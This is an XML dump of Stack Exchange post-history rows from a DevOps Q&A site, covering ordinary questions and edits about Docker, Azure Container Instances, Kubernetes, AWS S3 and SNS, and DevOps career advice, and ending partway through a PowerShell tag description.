  <row Id="5171" PostHistoryTypeId="5" PostId="1543" RevisionGUID="132e6424-f72c-49ae-b560-73fba1e321ef" CreationDate="2017-07-28T18:43:35.893" UserId="47" Comment="added reference link" Text="I think you can also look at new lightweight virtualization for macOS called [Anka][1]. Anka Build can make it possible for you to setup a virtualized infrastructure on Apple hardware and enable you to provision macOS Vms on-demand from Jenkins.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://veertu.com/anka-technology/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5172" PostHistoryTypeId="2" PostId="1622" RevisionGUID="18a295b6-3b11-4d5e-b589-663e8afd60c9" CreationDate="2017-07-29T06:33:46.527" UserId="707" Text="Docker compose allows for static stack description.&#xD;&#xA;But what if I have a set of containers based on same image but dufferent by subtle environment configuration? Moreover, I don't need them all at once, they can be launched and disposed sequentially.&#xD;&#xA;&#xD;&#xA;A quick shot would be to copy-paste the service, but a couple of dozens of them is a waste of resources.&#xD;&#xA;&#xD;&#xA;Is there sort of elegant orchrestration loop in this case?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5173" PostHistoryTypeId="1" PostId="1622" RevisionGUID="18a295b6-3b11-4d5e-b589-663e8afd60c9" CreationDate="2017-07-29T06:33:46.527" UserId="707" Text="Reuse of docker swarm containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="5174" PostHistoryTypeId="3" PostId="1622" RevisionGUID="18a295b6-3b11-4d5e-b589-663e8afd60c9" CreationDate="2017-07-29T06:33:46.527" UserId="707" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5175" PostHistoryTypeId="2" PostId="1623" RevisionGUID="0322344d-2536-4ad2-aee1-40f04ad4428d" CreationDate="2017-07-29T06:50:19.047" UserId="519" Text="You might want to try [Azure Container Instances](https://azure.microsoft.com/en-us/blog/announcing-azure-container-instances/)&#xD;&#xA; (ACI) - this lets you run a container directly on Azure, without having to manage a VM.  Although one of the demos on that blog mentions Kubernetes, the idea of ACI is that you can create a container through the Azure CLI with `az container create`, just like on your local workstation with `docker create`.&#xD;&#xA;&#xD;&#xA;ACI is very new, and you might find you have to use Azure Cloud Shell (Azure CLI hosted in Azure not your workstation) for a while, but it will come to the normal Azure CLI 2.0 (`az` command).&#xD;&#xA;&#xD;&#xA;This feature is billed per-second, so if you want to keep using Docker containers without lear" ContentLicense="CC BY-SA 3.0" />
  <row Id="5176" PostHistoryTypeId="5" PostId="1623" RevisionGUID="d7417951-b6ba-4565-8f5a-7753c5e09e3b" CreationDate="2017-07-29T06:56:56.203" UserId="519" Comment="update including link to quick start docs " Text="[Azure Container Instances](https://azure.microsoft.com/en-us/blog/announcing-azure-container-instances/)&#xD;&#xA; (ACI) may be a good option as you suggest.  These let you run a container directly on Azure, without having to manage a VM, with per-second billing for the time the container is used.  &#xD;&#xA;&#xD;&#xA;Although one of the demos on that blog mentions Kubernetes, the idea of ACI is that you can create a container through the Azure CLI with `az container create`, just like on your local workstation with `docker create`.&#xD;&#xA;&#xD;&#xA;ACI is very new, so you will need to use Azure CLI 2.0.12 (`az` command, see [quick start docs](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart)) or Azure Cloud Shell.&#xD;&#xA;&#xD;&#xA;You would need to create/run the container on a schedule from somewhere else - Azure Functions might be a good place to run the &quot;container create&quot; command from  a [scheduled function](https://docs.microsoft.com/en-us/azure/azure-functions/functions-create-scheduled-function).&#xD;&#xA;&#xD;&#xA;If you want to keep using Docker containers without running VMs or learning Kubernetes, this might be a good option.  &#xD;&#xA;&#xD;&#xA;Alternatively, you could move all your code into Azure functions, but that's a bigger decision.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5177" PostHistoryTypeId="5" PostId="1622" RevisionGUID="0aa5ba1f-08d7-44ca-8813-b8b266eeb425" CreationDate="2017-07-29T15:06:09.200" UserId="47" Comment="fixed typos" Text="Docker compose allows for static stack description.&#xD;&#xA;But what if I have a set of containers based on same image but different by subtle environment configuration? Moreover, I don't need them all at once, they can be launched and disposed of sequentially.&#xD;&#xA;&#xD;&#xA;A quick shot would be to copy-paste the service, but a couple of dozens of them is a waste of resources.&#xD;&#xA;&#xD;&#xA;Is there sort of elegant orchestration loop in this case?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5178" PostHistoryTypeId="2" PostId="1624" RevisionGUID="bb35f190-4bd6-410b-9f58-75508e4ed98a" CreationDate="2017-07-30T07:08:08.947" UserId="3531" Text="I want to install a **highly available kubernetes cluster** (multiple master nodes) on a public cloud (AWS, Azure, GCP and maybe others).  &#xD;&#xA;I'm looking for a non-vendor specific option to do it.&#xD;&#xA;&#xD;&#xA;I'm aware of several options like&#xD;&#xA;&#xD;&#xA; - [Kops][1]&#xD;&#xA; - [Juju][2]&#xD;&#xA; - Other Github projects I found...&#xD;&#xA;&#xD;&#xA;I was wondering if anyone has a good automated example of doing this with such tools like [Terraform][3], [Ansible][4] or others.&#xD;&#xA;&#xD;&#xA;The **HA** is a must as this if for production use!&#xD;&#xA;&#xD;&#xA;Thx in advance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kops&#xD;&#xA;  [2]: https://jujucharms.com/&#xD;&#xA;  [3]: https://www.terraform.io/&#xD;&#xA;  [4]: https://www.ansible.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5179" PostHistoryTypeId="1" PostId="1624" RevisionGUID="bb35f190-4bd6-410b-9f58-75508e4ed98a" CreationDate="2017-07-30T07:08:08.947" UserId="3531" Text="Deploying a Kubernetes cluster for production on multiple clouds" ContentLicense="CC BY-SA 3.0" />
  <row Id="5180" PostHistoryTypeId="3" PostId="1624" RevisionGUID="bb35f190-4bd6-410b-9f58-75508e4ed98a" CreationDate="2017-07-30T07:08:08.947" UserId="3531" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5181" PostHistoryTypeId="2" PostId="1625" RevisionGUID="6ae837d0-9cbc-468b-ad11-ce86c45aa2b0" CreationDate="2017-07-30T09:52:13.507" UserId="3710" Text="I am looking for recommendations on how to skill up to be a dedicated DevOps engineer.&#xD;&#xA;&#xD;&#xA;My story is that i always wanted to work in Development related projects, i love coding but unfortunately i never got the chance it's a long story so never mind it i got to work on Freelance projects using .Net and PHP and i certified Java SE but i never used it, my work experience in cooperates been in system and application administration mostly i am a senior now in this field so a switch to Dev. is not possible as i will have to start over as a junior but i think DevOps will be perfect for me but i need to know what do i need to study to fill the gaps in my knowledge to be a good dedicated DevOps engineer preferably the part about writing automation and tools  , i will write below my skill set.&#xD;&#xA;Please recommend what should i study and get into per example i heard Python and perl and Ruby are very good for DevOps but what else and what i should start with and what is the mandatory skills that i need to cover first &#xD;&#xA;&#xD;&#xA;Skillset :&#xD;&#xA;Sys. Admin&#xD;&#xA;&#xD;&#xA;- Unix (HP-UX, Solaris) and Linux (Ubuntu, Red hat, &#xD;&#xA;CentOS) Administration  &#xD;&#xA;- Middleware Technologies administration &#xD;&#xA;(WebLogic, Apache-Tomcat, WebSphere, MQ) &#xD;&#xA;- Bash/Shell Scripting&#xD;&#xA; &#xD;&#xA;- Web server configuration and administration &#xD;&#xA;- Excellent knowledge of common database &#xD;&#xA;systems (SQL Server, Oracle, MySQL, etc.)  &#xD;&#xA;- Web services and Integrations SOAP/REST/API &#xD;&#xA;- Oracle Business Intelligence Suite (OBIEE, DAC, &#xD;&#xA;Informatica)  &#xD;&#xA;- ITSM Remedy Development and Administration. &#xD;&#xA;- SAP Business Object (Analytics). &#xD;&#xA;- Splunk  &#xD;&#xA;- Service Center –ITIL-enabled IT service &#xD;&#xA;Management &#xD;&#xA;- Strong understanding of Web Application &#xD;&#xA;technologies. &#xD;&#xA;&#xD;&#xA;Dev&#xD;&#xA;&#xD;&#xA;- Expert Development skills in Microsoft Visual &#xD;&#xA;Basic. &#xD;&#xA;- Excellent Development Skills in Java SE.  &#xD;&#xA;- Microsoft .Net Development &#xD;&#xA;- MS SharePoint development. &#xD;&#xA;- Expert in MS Office with Expert knowledge in &#xD;&#xA;Macros and Automation across all MS office &#xD;&#xA;Applications. &#xD;&#xA;- Intermediate PHP development (CakePHP) " ContentLicense="CC BY-SA 3.0" />
  <row Id="5182" PostHistoryTypeId="1" PostId="1625" RevisionGUID="6ae837d0-9cbc-468b-ad11-ce86c45aa2b0" CreationDate="2017-07-30T09:52:13.507" UserId="3710" Text="I am a Sys. Admin looking to skill up to work as a DevOps engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="5183" PostHistoryTypeId="3" PostId="1625" RevisionGUID="6ae837d0-9cbc-468b-ad11-ce86c45aa2b0" CreationDate="2017-07-30T09:52:13.507" UserId="3710" Text="&lt;sysadmin&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5184" PostHistoryTypeId="2" PostId="1626" RevisionGUID="ced6978a-a930-4c4b-b23a-15e5a2bc71b2" CreationDate="2017-07-30T14:53:29.133" UserId="3674" Text="I have a list of buckets in AWS S3. I have created an IAM user. I have an option to provide S3 full or read only access for a user using groups. Is there any options to provide access only to a particular bucket." ContentLicense="CC BY-SA 3.0" />
  <row Id="5185" PostHistoryTypeId="1" PostId="1626" RevisionGUID="ced6978a-a930-4c4b-b23a-15e5a2bc71b2" CreationDate="2017-07-30T14:53:29.133" UserId="3674" Text="How to provide a user to access only a particular bucket in aws s3?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5186" PostHistoryTypeId="3" PostId="1626" RevisionGUID="ced6978a-a930-4c4b-b23a-15e5a2bc71b2" CreationDate="2017-07-30T14:53:29.133" UserId="3674" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5187" PostHistoryTypeId="6" PostId="1626" RevisionGUID="a061e825-27c9-4df4-af44-b2859c2dfb36" CreationDate="2017-07-30T18:09:48.577" UserId="46" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5188" PostHistoryTypeId="5" PostId="1622" RevisionGUID="deada9a3-0758-40e9-b042-a8dc9467c5b7" CreationDate="2017-07-30T18:26:46.303" UserId="707" Comment="added 824 characters in body; edited title" Text="Docker compose allows for static stack description.&#xD;&#xA;But what if I have a set of containers based on same image but different by subtle environment configuration? Moreover, I don't need them all at once, they can be launched and disposed of sequentially.&#xD;&#xA;&#xD;&#xA;A quick shot would be to copy-paste the service, but a couple of dozens of them is a waste of resources.&#xD;&#xA;&#xD;&#xA;Is there sort of elegant orchestration loop in this case?&#xD;&#xA;&#xD;&#xA;UPD After some more googling, interesting fact came out that apparently what I do is batch job processing which has currently no conceptual (!) support in Docker compose because services are not batch jobs. While there is a [proposed feature for that][1] I will try out one of the community workarounds, [Jobs As A Service (JaaS)][2] but my question is still - maybe there is an elegant way to do the following:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3.1'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      task1:&#xD;&#xA;        image: myjob&#xD;&#xA;        environment:&#xD;&#xA;          PARAM: foo&#xD;&#xA;    &#xD;&#xA;      task2:&#xD;&#xA;        image: myjob&#xD;&#xA;        environment:&#xD;&#xA;          PARAM: bar&#xD;&#xA;&#xD;&#xA;You may have asked yourself &quot;why not just take a series of `docker run/exec/rm`&quot;, but the rest of the environment like database runs in the stack.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/23880&#xD;&#xA;  [2]: https://github.com/alexellis/jaas&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5189" PostHistoryTypeId="4" PostId="1622" RevisionGUID="deada9a3-0758-40e9-b042-a8dc9467c5b7" CreationDate="2017-07-30T18:26:46.303" UserId="707" Comment="added 824 characters in body; edited title" Text="Reuse of docker swarm containers for batch jobs" ContentLicense="CC BY-SA 3.0" />
  <row Id="5190" PostHistoryTypeId="2" PostId="1627" RevisionGUID="78214f74-0a63-4878-b4b5-825f0e74b52a" CreationDate="2017-07-30T18:29:58.723" UserId="735" Text="Have a look for DevOps Engineer roles and check out the list of technologies that they are seeking. Typically you'll need automation scripting skills (like Bash, Python or PowerShell) but you'll also need good fundamental experience maintaining and configuring the Build/Release pipeline. For this, look to get experience with CI/CD tools like AppVeyor (.NET), Jenkins, Travis CI etc. You should also be familiar with Git and source control systems in general such as BitBucket or TFS. You would also benefit from becoming familiar with automated testing techniques.&#xD;&#xA;&#xD;&#xA;If you haven't already, consider hosting some open source products in Github and setting up a pipeline for them that performs automated tests on commits as well as (if possible) publishing to a package management system. This is great experience as well as demonstrates your skills.&#xD;&#xA;&#xD;&#xA;For a more general understanding of the philosophy of DevOps (as beware that it's a culture as well as a technology set) do as much reading as you can on the topic and start following (e.g via Twitter) the likes of Gene Kim, Jez Humble, and Patrick Debois. Also I recommend you read [The DevOps Handbook][1] which they authored. I'm only part way through it at the moment but it looks to be a very thorough explanation of what DevOps is and how organisations might adopt it.&#xD;&#xA;&#xD;&#xA;You could also check out DevOps related [Meet Ups][2] and Conferences (such as [Velocity][3]). The possibilities will vary depending on where in the world you are.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://itrevolution.com/book/the-devops-handbook/&#xD;&#xA;  [2]: https://www.meetup.com/topics/devops/&#xD;&#xA;  [3]: https://conferences.oreilly.com/velocity/vl-eu?cmp=kn-webops-confreg-home-vleu17_search" ContentLicense="CC BY-SA 3.0" />
  <row Id="5191" PostHistoryTypeId="5" PostId="1625" RevisionGUID="cab2ec6d-7f5a-400f-b878-b2f16238d5c1" CreationDate="2017-07-30T18:54:06.157" UserId="735" Comment="Grammar / clarity" Text="I am looking for recommendations on how to skill up to be a dedicated DevOps Engineer.&#xD;&#xA;&#xD;&#xA;I have always wanted to work on Development related projects as I love coding but unfortunately I have never got the chance. I have previously worked on freelance projects using .Net and PHP and I am certified in Java SE but I have never used it.&#xD;&#xA;&#xD;&#xA;My work experience incorporates being in system and application administration. Mostly I am a senior now in this field so a switch to Development is not preferred as I would have to start over as a junior. However I think DevOps will be perfect for me but I need to know what I need to study to fill the gaps in my knowledge to be a good dedicated DevOps engineer (preferably the part about writing automation and tools).&#xD;&#xA;&#xD;&#xA;Please recommend what should I study, for example I heard Python and Perl and Ruby are very good for DevOps but what else should I start with and what is the mandatory skills that i need to cover first?&#xD;&#xA;&#xD;&#xA;**My current skill set:**&#xD;&#xA;&#xD;&#xA;Sys. Admin&#xD;&#xA;&#xD;&#xA;- Unix (HP-UX, Solaris) and Linux (Ubuntu, Red hat, &#xD;&#xA;CentOS) Administration  &#xD;&#xA;- Middleware Technologies administration &#xD;&#xA;(WebLogic, Apache-Tomcat, WebSphere, MQ) &#xD;&#xA;- Bash/Shell Scripting&#xD;&#xA; &#xD;&#xA;- Web server configuration and administration &#xD;&#xA;- Excellent knowledge of common database &#xD;&#xA;systems (SQL Server, Oracle, MySQL, etc.)  &#xD;&#xA;- Web services and Integrations SOAP/REST/API &#xD;&#xA;- Oracle Business Intelligence Suite (OBIEE, DAC, &#xD;&#xA;Informatica)  &#xD;&#xA;- ITSM Remedy Development and Administration. &#xD;&#xA;- SAP Business Object (Analytics). &#xD;&#xA;- Splunk  &#xD;&#xA;- Service Center –ITIL-enabled IT service &#xD;&#xA;Management &#xD;&#xA;- Strong understanding of Web Application &#xD;&#xA;technologies. &#xD;&#xA;&#xD;&#xA;Developer&#xD;&#xA;&#xD;&#xA;- Expert Development skills in Microsoft Visual &#xD;&#xA;Basic. &#xD;&#xA;- Excellent Development Skills in Java SE.  &#xD;&#xA;- Microsoft .Net Development &#xD;&#xA;- MS SharePoint development. &#xD;&#xA;- Expert in MS Office with Expert knowledge in &#xD;&#xA;Macros and Automation across all MS office &#xD;&#xA;Applications. &#xD;&#xA;- Intermediate PHP development (CakePHP) " ContentLicense="CC BY-SA 3.0" />
  <row Id="5192" PostHistoryTypeId="24" PostId="1625" RevisionGUID="cab2ec6d-7f5a-400f-b878-b2f16238d5c1" CreationDate="2017-07-30T18:54:06.157" Comment="Proposed by 735 approved by -1 edit id of 386" ContentLicense="CC BY-SA 3.0" />
  <row Id="5193" PostHistoryTypeId="4" PostId="1625" RevisionGUID="f1c53f41-e8bb-40bb-958b-79e0d031393b" CreationDate="2017-07-30T18:54:06.157" UserId="40" Comment="Improve tite" Text="How can a Sys. Admin skill up to work as a DevOps engineer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5194" PostHistoryTypeId="50" PostId="1267" RevisionGUID="4e3daee9-996d-4fe8-aef4-a33aaea28cd6" CreationDate="2017-07-30T21:37:26.477" UserId="-1" />
  <row Id="5196" PostHistoryTypeId="2" PostId="1629" RevisionGUID="13713e92-6c35-42f9-87d6-f55645f279b7" CreationDate="2017-07-31T07:02:24.867" UserId="3178" Text="Can we send SMS through AWS for the below case:&#xD;&#xA;I have an application installed on Ec2 and that application runs few rules and may send SMS to end users if the rule conditions are met.&#xD;&#xA;I wanted to integrate it with some SMSC and thought of giving a shot with AWS-SNS. However, i am not able to figure out how will i integrate my application with AWS-SNS.&#xD;&#xA;Going through the documentation of AWS-SNS i am not sure if this can be achieved. It talks about creating topics and assigning E164 numbers to topics but does not tell us how to integrate this with our already existing application. &#xD;&#xA;C" ContentLicense="CC BY-SA 3.0" />
  <row Id="5197" PostHistoryTypeId="1" PostId="1629" RevisionGUID="13713e92-6c35-42f9-87d6-f55645f279b7" CreationDate="2017-07-31T07:02:24.867" UserId="3178" Text="Sending SMS through AWS" ContentLicense="CC BY-SA 3.0" />
  <row Id="5198" PostHistoryTypeId="3" PostId="1629" RevisionGUID="13713e92-6c35-42f9-87d6-f55645f279b7" CreationDate="2017-07-31T07:02:24.867" UserId="3178" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5199" PostHistoryTypeId="2" PostId="1630" RevisionGUID="1e08bc40-dff6-4967-9eaa-7a6ad4d68be0" CreationDate="2017-07-31T07:12:52.350" UserId="3720" Text="Docker doesn't provide any means to preclude user access to the container, however as the image developer you could follow a few strategy &#xD;&#xA;&#xD;&#xA; - Obfuscate your software (ruby, python and etc)&#xD;&#xA; - Build your image from a base image that doesn't have shell, and other binaries that the user can use to tramper the image.&#xD;&#xA;&#xD;&#xA;Of course they can always export the container and repackage it but those are extreme measures... " ContentLicense="CC BY-SA 3.0" />
  <row Id="5200" PostHistoryTypeId="5" PostId="1627" RevisionGUID="aef81ee3-75f9-4daf-838f-475251fc86bc" CreationDate="2017-07-31T07:57:50.023" UserId="735" Comment="added 116 characters in body" Text="Have a look for DevOps Engineer roles and check out the list of technologies that they are seeking. Typically you'll need automation scripting skills (like Bash, Python or PowerShell) but you'll also need good fundamental experience maintaining and configuring the Build/Release pipeline. For this, look to get experience with CI/CD tools like AppVeyor (.NET), Jenkins, Travis CI etc. You should also be familiar with Git and source control systems in general such as BitBucket or TFS. You would also benefit from becoming familiar with automated testing techniques.&#xD;&#xA;&#xD;&#xA;If you haven't already, consider hosting some open source products in Github and setting up a pipeline for them that performs automated tests on commits as well as (if possible) publishing to a package management system. This is great experience as well as demonstrates your skills.&#xD;&#xA;&#xD;&#xA;For a more general understanding of the philosophy of DevOps (as beware that it's a culture as well as a technology set) do as much reading as you can on the topic and start following (e.g via Twitter) the likes of Gene Kim, Jez Humble, and Patrick Debois. Also I recommend you read [The DevOps Handbook][1] which they authored. I'm only part way through it at the moment but it looks to be a very thorough explanation of what DevOps is and how organisations might adopt it.&#xD;&#xA;&#xD;&#xA;You could also check out DevOps related [Meet Ups][2] and Conferences (such as [Velocity][3], [DevOpsDays][4] and [Config Management Camp][5]). The opportunities will of course vary depending on where in the world you are.&#xD;&#xA;&#xD;&#xA;  [1]: https://itrevolution.com/book/the-devops-handbook/&#xD;&#xA;  [2]: https://www.meetup.com/topics/devops/&#xD;&#xA;  [3]: https://conferences.oreilly.com/velocity/vl-eu?cmp=kn-webops-confreg-home-vleu17_search&#xD;&#xA;  [4]: https://www.devopsdays.org/&#xD;&#xA;  [5]: http://cfgmgmtcamp.eu/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5201" PostHistoryTypeId="2" PostId="1631" RevisionGUID="19d82001-64cf-49c0-a27d-165da45f3375" CreationDate="2017-07-31T08:00:26.057" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5202" PostHistoryTypeId="1" PostId="1631" RevisionGUID="19d82001-64cf-49c0-a27d-165da45f3375" CreationDate="2017-07-31T08:00:26.057" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5203" PostHistoryTypeId="2" PostId="1632" RevisionGUID="fe04c696-bb98-40a5-84ad-bae381cc1964" CreationDate="2017-07-31T08:00:26.057" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5204" PostHistoryTypeId="1" PostId="1632" RevisionGUID="fe04c696-bb98-40a5-84ad-bae381cc1964" CreationDate="2017-07-31T08:00:26.057" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5205" PostHistoryTypeId="5" PostId="1629" RevisionGUID="68b3fc57-dab6-4550-9dbc-53a966c80ac9" CreationDate="2017-07-31T08:08:50.543" UserId="40" Comment="added 2 characters in body; edited title" Text="Can we send SMS through AWS for the below case?&#xD;&#xA;&#xD;&#xA;I have an application installed on Ec2 and that application runs few rules and may send SMS to end users if the rule conditions are met.&#xD;&#xA;&#xD;&#xA;I wanted to integrate it with some SMSC and thought of giving a shot with AWS-SNS. However, I am not able to figure out how will i integrate my application with AWS-SNS.&#xD;&#xA;&#xD;&#xA;Going through the documentation of AWS-SNS I am not sure if this can be achieved. It talks about creating topics and assigning E164 numbers to topics but does not tell us how to integrate this with our already existing application." ContentLicense="CC BY-SA 3.0" />
  <row Id="5206" PostHistoryTypeId="4" PostId="1629" RevisionGUID="68b3fc57-dab6-4550-9dbc-53a966c80ac9" CreationDate="2017-07-31T08:08:50.543" UserId="40" Comment="added 2 characters in body; edited title" Text="How to send SMS through AWS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5207" PostHistoryTypeId="2" PostId="1633" RevisionGUID="7610fa73-2fff-4b60-b4b8-1d83fa41159a" CreationDate="2017-07-31T08:18:56.290" UserId="735" Text="I believe you will need to do this programmatically using the AWS SDK as described here: http://docs.aws.amazon.com/sns/latest/dg/sms_publish-to-phone.html#sms_publish_sdk&#xD;&#xA;&#xD;&#xA;&gt; To send an SMS message by using one of AWS SDKs, use the action in&#xD;&#xA;&gt; that SDK that corresponds to the Publish request in the Amazon SNS&#xD;&#xA;&gt; API. With this request, you can send an SMS message directly to a&#xD;&#xA;&gt; phone number&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt;&#xD;&#xA;&gt; **Sending a Message (AWS SDK for Java)**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The following example uses the publish method of the AmazonSNSClient&#xD;&#xA;&gt; class to send a message directly to a phone number:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     public static void main(String[] args) {&#xD;&#xA;&gt;             AmazonSNSClient snsClient = new AmazonSNSClient();&#xD;&#xA;&gt;             String message = &quot;My SMS message&quot;;&#xD;&#xA;&gt;             String phoneNumber = &quot;+1XXX5550100&quot;;&#xD;&#xA;&gt;             Map&lt;String, MessageAttributeValue&gt; smsAttributes = &#xD;&#xA;&gt;                     new HashMap&lt;String, MessageAttributeValue&gt;();&#xD;&#xA;&gt;             //&lt;set SMS attributes&gt;&#xD;&#xA;&gt;             sendSMSMessage(snsClient, message, phoneNumber, smsAttributes);&#xD;&#xA;&gt;     }&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     public static void sendSMSMessage(AmazonSNSClient snsClient, String message, &#xD;&#xA;&gt;     		String phoneNumber, Map&lt;String, MessageAttributeValue&gt; smsAttributes) {&#xD;&#xA;&gt;             PublishResult result = snsClient.publish(new PublishRequest()&#xD;&#xA;&gt;                             .withMessage(message)&#xD;&#xA;&gt;                             .withPhoneNumber(phoneNumber)&#xD;&#xA;&gt;                             .withMessageAttributes(smsAttributes));&#xD;&#xA;&gt;             System.out.println(result); // Prints the message ID." ContentLicense="CC BY-SA 3.0" />
  <row Id="5208" PostHistoryTypeId="5" PostId="1623" RevisionGUID="c7d776ae-a0e4-40a1-8766-cb2a54e6bec0" CreationDate="2017-07-31T08:36:07.860" UserId="519" Comment="link to Azure Functions languages" Text="[Azure Container Instances](https://azure.microsoft.com/en-us/blog/announcing-azure-container-instances/)&#xD;&#xA; (ACI) may be a good option as you suggest.  These let you run a container directly on Azure, without having to manage a VM, with per-second billing for the time the container is used.  &#xD;&#xA;&#xD;&#xA;Although one of the demos on that blog mentions Kubernetes, the idea of ACI is that you can create a container through the Azure CLI with `az container create`, just like on your local workstation with `docker create`.&#xD;&#xA;&#xD;&#xA;ACI is very new, so you will need to use Azure CLI 2.0.12 (`az` command, see [quick start docs](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart)) or Azure Cloud Shell.&#xD;&#xA;&#xD;&#xA;You would need to create/run the container on a schedule from somewhere else - Azure Functions might be a good place to run the &quot;container create&quot; command from  a [scheduled function](https://docs.microsoft.com/en-us/azure/azure-functions/functions-create-scheduled-function).  This supports [bash, PowerShell, and other languages](https://docs.microsoft.com/en-us/azure/azure-functions/functions-overview) - all running on Windows.&#xD;&#xA;&#xD;&#xA;If you want to keep using Docker containers without running VMs or learning Kubernetes, this might be a good option.  &#xD;&#xA;&#xD;&#xA;Alternatively, you could move all your code into Azure functions, but that's a bigger decision.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5210" PostHistoryTypeId="2" PostId="1634" RevisionGUID="030ff9ab-abdb-40ce-a455-5063d591fe2e" CreationDate="2017-07-31T10:26:35.383" UserId="3178" Text="I personally have spinned 100 containers on a 32vcpu machine and as many docker containers pin to random CPUs, there is no such correlation between number of containers and number of vcpus. As docker containers can be thought of as processes, it seems logical what @Tensibai has mentioned. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5212" PostHistoryTypeId="5" PostId="1631" RevisionGUID="579dbbd6-5c10-4285-bac2-3241e8f7accd" CreationDate="2017-07-31T10:46:22.563" UserId="735" Comment="added 7578 characters in body" Text="&gt; Questions about Windows administration tasks involving PowerShell should be asked on [Super User](https://superuser.com/questions/tagged/powershell). On-topic questions are for writing scripts **ONLY**&#xD;&#xA;&#xD;&#xA;**Windows PowerShell**&#xD;&#xA;&#xD;&#xA;[tag:PowerShell] is an interactive shell and scripting language orginally included with Microsoft Windows 7 and Microsoft Windows Server 2008 R2 and above. It includes a command-line shell ([Windows PowerShell][1]) for interactive use, an underlying scripting environment to run scripts away from the command-line and a GUI script editing / debugging environment ([Windows PowerShell ISE][2]). See: [Getting Started with Windows PowerShell][3].&#xD;&#xA;&#xD;&#xA;As a language, [tag:PowerShell] has syntax for literal arrays and hashtables, support for regexes, pattern matching and string expansion. It's built on the .NET framework so it has Unicode support, can be locale/culture aware, and can access .NET framework methods directly.&#xD;&#xA;&#xD;&#xA;As a command-line shell, it is designed around cmdlets named in the form {Verb}-{Noun}, intending that the same kinds of commands work across many domains. E.g. `Get-Date` returns the current date, and `Get-Process` returns an array of objects representing running processes which can be piped to other commands that work with process objects. Many commands and keywords have short aliases to reduce typing.&#xD;&#xA;&#xD;&#xA;As a system management environment, Windows components and Microsoft products have been extended to provide native PowerShell interfaces as part of creating a unified managing system for Windows systems, including:&#xD;&#xA;&#xD;&#xA; - EventLogs, Task Scheduler, WMI, COM objects.&#xD;&#xA; - [Active Directory](http://technet.microsoft.com/en-us/library/hh852274.aspx), [Hyper-V](http://technet.microsoft.com/en-us/library/hh848559.aspx), [IIS](http://technet.microsoft.com/en-us/library/hh867899.aspx), [Remote Desktop Services and other Roles and Features](http://technet.microsoft.com/en-us/library/dn249523.aspx)&#xD;&#xA; - [Exchange Server](http://technet.microsoft.com/en-us/library/bb123778(v=exchg.150).aspx)&#xD;&#xA; - [SQL Server](http://technet.microsoft.com/en-us/library/hh245198.aspx)&#xD;&#xA; - [SharePoint](http://technet.microsoft.com/en-us/sharepoint/jj672838.aspx)&#xD;&#xA; - [Dynamics CRM](http://technet.microsoft.com/en-us/library/f5f906a0-24ad-4888-bb10-6a783cc56473(v=crm.6))&#xD;&#xA; - [Windows Azure cloud services](http://msdn.microsoft.com/en-us/library/windowsazure/jj156055.aspx)&#xD;&#xA; - [Office 365](http://technet.microsoft.com/en-us/magazine/hh750396.aspx)&#xD;&#xA; - As well as the usual scripting tasks &amp;mdash; working with files/folders, user accounts, string manipulation, running external programs, etc. &#xD;&#xA;&#xD;&#xA;Third-party vendors also offer PowerShell integration, including:&#xD;&#xA;&#xD;&#xA; - [VMware vSphere PowerCLI](https://www.vmware.com/support/developer/PowerCLI/)&#xD;&#xA;&#xD;&#xA;[tag:PowerShell] takes the Unix idea of piping text between programs and manipulating text, and enhances it by piping .NET object instances around. Because objects carry type information (e.g. dates and times), and complex state (e.g. properties and methods, hashtables, parsed XML data, live network sockets) this makes many tasks easy that would be difficult or impractical to do by passing text between programs.&#xD;&#xA;&#xD;&#xA;Along with interacting with the PowerShell console or the PowerShell ISE, there are also several 3rd party IDE options including Sapien's [PrimalScript ISE][6].&#xD;&#xA;&#xD;&#xA;**Example Usage**&#xD;&#xA;&#xD;&#xA;    # List all processes using &gt; 100 MB of PagedMemory in descending sort order (v3_    &#xD;&#xA;    C:\PS&gt; Get-Process | Where PagedMemorySize -GT 100MB | Sort -Descending&#xD;&#xA;&#xD;&#xA;    # PowerShell can handle numbers and arithmetic&#xD;&#xA;    C:\PS&gt; (98.6 - 32) * 